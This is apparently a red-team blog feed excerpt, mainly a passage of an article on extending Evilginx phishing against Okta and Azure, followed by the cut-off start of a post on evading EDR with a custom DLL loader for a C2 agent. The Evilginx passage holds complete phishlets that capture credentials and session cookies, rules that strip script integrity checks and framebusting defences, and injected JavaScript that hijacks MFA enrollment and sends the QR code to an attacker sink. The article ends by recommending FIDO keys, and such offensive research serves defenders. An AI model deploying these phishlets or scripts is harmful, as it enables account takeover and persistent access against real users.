<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p>The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.</p>
<p>Evilginx<strong> uses specific configuration files known as phishlets to handle such cases</strong>. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:</p>
<pre>&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With the phishlet, <strong>Evilginx will know that the domain login.microsoftonline.com must be rewritten</strong> and will send back to the target the following modified page:</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With such match and replace pattern, <strong>Evilginx is able to trap the user inside the malicious application</strong> even if the IDP tries to redirect the user to a specific page.</p>
<p> </p>
<h4>Auto-replace limits</h4>
<p>The Evilginx phishlet auto-replace has its limits. Indeed, <strong>sometime the server does not directly hardcode the domain</strong> in the page but builds it through a JS script.</p>
<p>In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.</p>
<p> </p>
<h5>CORS</h5>
<p>In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script <strong>dynamically builds the redirection URL</strong>: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it<strong> fails due to CORS protection</strong> (trying to reach okta.com/idp/idx/introspect from evilginx.com):</p>
<figure id="attachment_26700" aria-describedby="caption-attachment-26700" style="width: 832px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png" alt="Okta CORS error" width="832" height="433" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1.png 849w" sizes="auto, (max-width: 832px) 100vw, 832px" /><figcaption id="caption-attachment-26700" class="wp-caption-text"><em>Okta CORS</em></figcaption></figure>
<p>By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:</p>
<pre><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p>With this simple indication, Evilginx <strong>will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.</strong></p>
<p> </p>
<h5>JS integrity</h5>
<p>When modifying the JS file or any other file through Evilginx, it can <strong>cause troubles due to the script integrity hash:</strong></p>
<pre>&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p>Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.</p>
<figure id="attachment_26702" aria-describedby="caption-attachment-26702" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png" alt="Hash integrity error" width="910" height="100" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1.png 1737w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-26702" class="wp-caption-text"><em>Hash integrity error</em></figcaption></figure>
<p>But, with Evilginx, we can also modify the html page to remove the integrity check:</p>
<pre>Replace: integrity="[^"]*"<br />By: integrity=''<br /><br /></pre>
<h5>Redirect URI validation</h5>
<p>The last point <strong>is the Redirect URI validation</strong>. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:</p>
<pre>/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p>With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.</p>
<p>This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain<em>, </em><strong>Okta will show the following error</strong>:</p>
<figure id="attachment_26704" aria-describedby="caption-attachment-26704" style="width: 175px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-26704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png" alt="Error 400 - Bad Request in Okta" width="175" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1.png 269w" sizes="auto, (max-width: 175px) 100vw, 175px" /><figcaption id="caption-attachment-26704" class="wp-caption-text"><em>Error in Okta</em></figcaption></figure>
<p>The redirect URI is <strong>dynamically built by Okta by taking the login domain</strong> and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:</p>
<p>Using Evilginx, it is <strong>possible to use the match/replace pattern to reset the redirect_uri </strong>to the right URI:</p>
<pre><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /></pre>
<h4>Basic phishlets</h4>
<h5>Okta</h5>
<pre>min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p> </p>
<h5>Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p> </p>
<h2>Automate critical actions</h2>
<p> </p>
<h3>Adding MFA device</h3>
<p>Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.</p>
<p>This is usually done by adding an additional MFA device to the user account.</p>
<p>For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, <strong>as long as the attacker has access to the user session, he is able to directly register his malicious MFA device</strong>.</p>
<p>However, on some IDP such as <strong>Okta, the MFA registration asks for an MFA validation</strong>. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.</p>
<p>What could be interesting is to add this reauthentication step during the phishing attack:</p>
<ol>
<li>The user authenticates a first time to access his session</li>
<li>Evilginx steals the user cookies</li>
<li>Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup</li>
<li>The user revalidates his MFA thinking the first one failed</li>
<li>Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process</li>
</ol>
<p>All these actions <strong>can be automated through Evilginx by modifying the JS scripts.</strong></p>
<p>First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p>This script will <strong>be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page</strong>. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite <strong>redirection loop at the end of his authentication flow…</strong></p>
<p> </p>
<p>Then, <strong>a new JS code is added to the /help/login page</strong>. This script is used to enumerate the available MFA technologies available and configured:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p>The script<strong> chooses the Okta Verify authentication method</strong> and redirects the user to the setup page.</p>
<p> </p>
<p>On the setup page, a new JS script is injected. This JS script is used to <strong>automate the registration steps to only let the MFA validation form</strong><em>:</em></p>
<pre>- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p>Once the user has validated the MFA authentication, <strong>the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.</strong></p>
<p>The attacker can then retrieve the QRCode and enroll his own device.</p>
<p> </p>
<h2>Pushing the limit</h2>
<p> </p>
<h3>Okta with Azure authentication</h3>
<p>Some companies can link two IDP together: <strong>Okta redirects to Azure and provisions the user when they first login.</strong></p>
<p>In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.</p>
<p>The previous phislets <strong>must be merged in order to capture both authentications</strong>. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.</p>
<p>Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:</p>
<pre>&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p>Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.</p>
<p>Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.</p>
<p>In a <strong>nutshell, in this specific case, it is possible to simply merge the two previous phishlets</strong><em>.</em></p>
<p> </p>
<h3>Frame buster</h3>
<p>More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.</p>
<p>The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.</p>
<p>Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:</p>
<figure id="attachment_26707" aria-describedby="caption-attachment-26707" style="width: 864px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png" alt="Browser in browser example" width="864" height="441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1.png 680w" sizes="auto, (max-width: 864px) 100vw, 864px" /><figcaption id="caption-attachment-26707" class="wp-caption-text"><em>Browser in browser example</em></figcaption></figure>
<p>The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.</p>
<p>While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.</p>
<p> </p>
<h4>Self == top</h4>
<p>The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.</p>
<p>With Evilginx, it is possible to remove the check with a simple match and replace pattern:</p>
<pre>Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p>This modification ensures that the iframe is recognized as the top frame.</p>
<p> </p>
<h4>Target=”_top”</h4>
<p>The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.</p>
<p>This can be done by adding the <em>target=”_top” </em>attribute in the form. It is then possible to remove this protection with Evilginx:</p>
<pre><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"<br /><br /></pre>
<h4>Framework specific</h4>
<p>Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.</p>
<p>The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.</p>
<p>In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:</p>
<pre><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}<br /><br /></pre>
<h4>HTTP header</h4>
<p>The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.</p>
<p>It is possible to simply remove this header with Evilginx:</p>
<pre><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test<br /><br /></pre>
<h4>Final phishlet</h4>
<p>The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul>
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Phishing attack example" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Example of browser in browser phishing on a company using Okta/Azure</em></p>
<p> </p>
<p>The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.</p>
<p>But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.</p>
<p>The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.</p>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>LoadLibrary madness: dynamically load WinHTTP.dll</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Wed, 30 Oct 2024 15:52:37 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[C2]]></category>
		<category><![CDATA[Command and Control]]></category>
		<category><![CDATA[Dll]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[WinHTTP]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=24427</guid>

					<description><![CDATA[<p>For the last few weeks, I have been developing a full custom Command and Control (C2). This C2 uses several Windows DLL for network communication and specially the WINHTTP.DLL one to handle HTTP requests used for the HTTP and HTTPS...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/">LoadLibrary madness: dynamically load WinHTTP.dll</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>For the last few weeks, I have been developing a full custom <span style="color: #451dc7;"><em>Command and Control</em></span> (<em><span style="color: #451dc7;">C2</span></em>). This <em><span style="color: #451dc7;">C2</span> </em>uses several <span style="color: #451dc7;"><em>Windows DLL</em></span> for network communication and specially the <span style="color: #451dc7;"><em>WINHTTP.DLL</em></span> one to handle <span style="color: #451dc7;"><em>HTTP</em> </span>requests used for the <em><span style="color: #451dc7;">HTTP</span> </em>and <em><span style="color: #451dc7;">HTTPS</span> </em>listener.</p>
<p>As everyone knows, when developing a <em><span style="color: #451dc7;">C2</span> </em>and the corresponding agent, <span style="color: #451dc7;"><em>OPSEC</em></span> must be the priority, so the agent code must rise as few events (<span style="color: #451dc7;"><em>ETW</em></span>) as possible.</p>
<p>The most common way to increase <span style="color: #451dc7;"><em>OPSEC</em> </span>when using external <span style="color: #451dc7;"><em>DLL</em> </span>is to perform dynamic loading to avoid getting the loaded <span style="color: #451dc7;"><em>DLL</em> </span>name in the source code. This can be done using the <span style="color: #451dc7;"><em>LoadLibrary Win32 API</em></span>.</p>
<p>This <span style="color: #451dc7;"><em>API</em> </span>allows a program to load a specific <span style="color: #451dc7;"><em>DLL</em></span> from the disk. However, the drawback is that <em><span style="color: #451dc7;">LoadLibrary</span> </em>raises several events and telemetry an <span style="color: #451dc7;"><em>EDR</em> </span>can analyze to detect the malicious <span style="color: #451dc7;"><em>C2</em> </span>agent.</p>
<p>In order to avoid this kind of event, I chose to implement a custom <span style="color: #451dc7;"><em>LoadLibrary</em> </span>that will not raise such events.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">State of the art &#8211; LoadLibrary</span></h2>
<p>I will not go too much deeper in the implementation details, as this has already been documented several times in <em>blogposts</em><a href="#_ftn1" name="_ftnref1">[1]</a> or <em>books</em> (<em><span style="color: #451dc7;">Windows Internals Part 1</span></em>).</p>
<p>The goal here is to create a function that takes as an input a <span style="color: #451dc7;"><em>DLL</em> </span>path and loads the <em><span style="color: #451dc7;">DLL</span> </em>in memory. Doing it manually has a lot of advantages:</p>
<ul>
<li>Limits <span style="color: #451dc7;"><em>ETW</em> </span>and <span style="color: #451dc7;"><em>Microsoft</em> </span>telemetry</li>
<li>More choices in the way sections are allocated and written.</li>
<li>Possibility to hide malicious loaded <em><span style="color: #451dc7;">DLL</span> </em>when not used.</li>
</ul>
<p>However, there are a lot of edge cases that could make the custom loader unreliable as it was mentioned in the <span style="color: #451dc7;"><em>SpecterOps</em> </span>blogpost <em>PerfectLoader<span style="color: #250f6b;"><a href="#_ftn2" name="_ftnref2">[2]</a></span></em>:</p>
<p><code>The quality of these reimplementations may be judged by comparing the feature set of these custom loaders against what the OS’s native loader supports. As such, the native OS loader may be considered a “perfect loader,” but it should not be considered the only perfect loader.</code><br /><br /></p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Basic implementation</span></h3>
<p style="text-align: justify;">The basic implementation consists in just copying the <em><span style="color: #451dc7;">DLL</span> </em>image in memory, performing relocation, importing imported modules and resolving the <em><span style="color: #451dc7;">IAT</span> </em>entries.<br />The different steps can be found in the <em><span style="color: #451dc7;">Windows Internal Part 1</span></em> book (<em><span style="color: #451dc7;">page 178</span></em>) and a more described implementation can be found here<a href="#_ftn3" name="_ftnref3">[3]</a>.<br />This is the most common way to load a <em><span style="color: #451dc7;">DLL</span></em>. Once the <em><span style="color: #451dc7;">DLL</span> </em>is loaded as-is in memory, it can be used for basic usages. However, any use of standard <em><span style="color: #451dc7;">Win32API</span></em> against this <em><span style="color: #451dc7;">DLL</span> </em>such as <em><span style="color: #451dc7;">GetModuleHandle</span> </em>or <span style="color: #451dc7;"><em>GetProcAddress</em> </span>will fail.<br />This implementation does not implement any additional feature provided by the <em><span style="color: #451dc7;">Windows DLL</span></em> loader: it just performs a textbook <em><span style="color: #451dc7;">DLL</span> </em>loading.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">Fixing compatibility with Microsoft WIN32API</span></h3>
<p>The previous implementation has the merit of working and it helped me out more times I can count. However, it is not reliable; the most important edge case being the <em><span style="color: #451dc7;">DLL</span> </em>cannot be searched using <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>or <span style="color: #451dc7;"><em>LoadLibrary</em></span>.</p>
<p>Therefore, if the others <span style="color: #451dc7;"><em>DLL</em> </span>need access to the loaded <span style="color: #451dc7;"><em>DLL</em></span>, they will not find it with the standard <span style="color: #451dc7;"><em>Win32API</em> </span>and will load it again using <span style="color: #451dc7;"><em>LoadLibrary</em> </span>leading to a nice <span style="color: #451dc7;"><em>ETW</em> </span>event: all we wanted to avoid in the first place.</p>
<p><em>Batsec</em><span style="color: #250f6b;"><a href="#_ftn4" name="_ftnref4">[4]</a></span> wrote an <em>article</em><a href="#_ftn5" name="_ftnref5">[5]</a> on how the <span style="color: #451dc7;"><em>DLL</em></span> can be loaded in memory and still be compatible with the <span style="color: #451dc7;"><em>Microsoft</em> <em>Win32 API</em></span> (at least <span style="color: #451dc7;"><em>GetProcAddress</em></span>, <span style="color: #451dc7;"><em>LoadLibrary</em> </span>and <span style="color: #451dc7;"><em>GetModuleHandle</em></span>) without raising a bunch of events.</p>
<p>His research shows that when a <span style="color: #451dc7;"><em>DLL</em> </span>is loaded by the standard <span style="color: #451dc7;"><em>Windows DLL</em></span> loader, it does not just load the image in memory and the loader will perform at least two additional actions:</p>
<ul>
<li>Add the <span style="color: #451dc7;"><em>DLL</em> </span>in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list that contains all the <span style="color: #451dc7;"><em>DLL</em> </span>loaded by a process.</li>
<li>Create a hash identifying the <span style="color: #451dc7;"><em>DLL</em> </span>and adding it to another structure called <em><span style="color: #451dc7;">LdrpHashTable</span></em></li>
</ul>
<p>During the loading process, the <span style="color: #451dc7;"><em>DLL</em> </span>loader, calls the <span style="color: #451dc7;"><em>LdrpInsertDataTableEntry</em> </span>function. This function creates a hash identifying the <span style="color: #451dc7;"><em>DLL</em> </span>and adds it to the <span style="color: #451dc7;"><em>LdrpHashTable</em> </span>structure as shown in the following figure:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24350" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable.png" alt="" width="471" height="292" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable.png 471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/01-Use-of-LdrpHashTable-63x39.png 63w" sizes="auto, (max-width: 471px) 100vw, 471px" /></p>
<p style="text-align: center;"><em>Figure 1: use of LdrpHashTable during DLL loading</em></p>
<p>This mechanism has been implemented by <span style="color: #451dc7;"><em>Microsoft</em> </span>to ease and speedup <span style="color: #451dc7;"><em>DLL</em> </span>search through a read and black binary tree. This structure allows the search of a <span style="color: #451dc7;"><em>DLL</em> </span>in <span style="color: #451dc7;"><em>O(log(n))</em></span> instead of <span style="color: #451dc7;"><em>O(n)</em></span> with the previous linked list. This mechanism will not be explained here but can be seen in the <span style="color: #451dc7;"><em>DarkLoadLibrary</em> </span>project in the <span style="color: #451dc7;"><em>FindModuleBaseAddressIndex</em> </span>function.</p>
<p>Adding the <span style="color: #451dc7;"><em>DLL</em> </span>in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list <strong>AND</strong> in the <span style="color: #451dc7;"><em>LdrpHashTable</em> </span>can be seen as fully registering the <span style="color: #451dc7;"><em>DLL</em> </span>and makes it known to the process.</p>
<p>Once this link has been established, the <span style="color: #451dc7;"><em>DLL</em> </span>can be searched, freed, or copied through the <span style="color: #451dc7;"><em>Win32API</em></span>.</p>
<p> </p>
